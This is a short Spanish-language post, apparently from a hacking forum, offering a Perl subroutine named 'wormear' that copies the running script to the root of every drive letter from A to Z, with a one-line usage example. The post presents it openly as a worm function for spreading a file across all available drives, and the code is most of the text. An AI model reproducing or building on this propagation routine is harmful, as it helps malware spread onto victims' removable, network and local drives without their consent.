[Perl] Funcion wormer

con esta funcion podran reproducir un archivo por todas las unidades disponibles

1 2 3 4 5 6 7 8 9 10

#ascii chr(65) = A | chr(90) = Z #By pr0xXx0r use File::Copy; sub wormear { for my $dir(65..90) { copy($0,chr($dir).":/"); } }

Ejemplo de uso

1	wormear($0);